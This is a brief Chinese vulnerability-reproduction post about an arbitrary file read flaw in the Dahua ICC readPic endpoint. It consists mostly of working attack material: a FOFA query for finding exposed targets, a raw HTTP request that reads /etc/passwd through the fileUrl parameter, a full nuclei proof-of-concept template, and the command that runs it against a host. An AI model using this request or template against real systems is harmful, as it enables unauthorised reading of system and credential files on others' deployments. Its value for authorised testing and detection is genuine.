【漏洞复现】大华ICC readpic任意文件读取漏洞 nuclei poc

body="*客户端会小于800*"

GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

id: dahua-icc-readpic-anyfileread
info:  name: 大华ICC readpic任意文件读取漏洞  author: fgz  severity: high  description: |    2021年大华全新发布的ICC架构下的基础停车业务系统，基于硬件+平台+服务能力，依托集中化管控模式，提供中大型园区集团化管理、多社区停车场联网等项目的集成应用，打造集停车场管理、运营和生态于一体的赋能平台，实现降本、增收、提效。大华ICC智能物联综合管理平台存在任意文件读取漏洞，会造成敏感信息泄露。  tags: 2023,dahua,fileread  metadata:    max-request: 2    fofa-query: body="*客户端会小于800*"    verified: true
http:  - method: GET    path:      - "{{BaseURL}}/evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd"    matchers:      - type: regex        part: body        regex:          - "root:.*?:[0-9]*:[0-9]*:"

.nuclei.exe -t mypoc/大华/dahua-icc-readpic-anyfileread.yaml -u https192.168.86.128:8443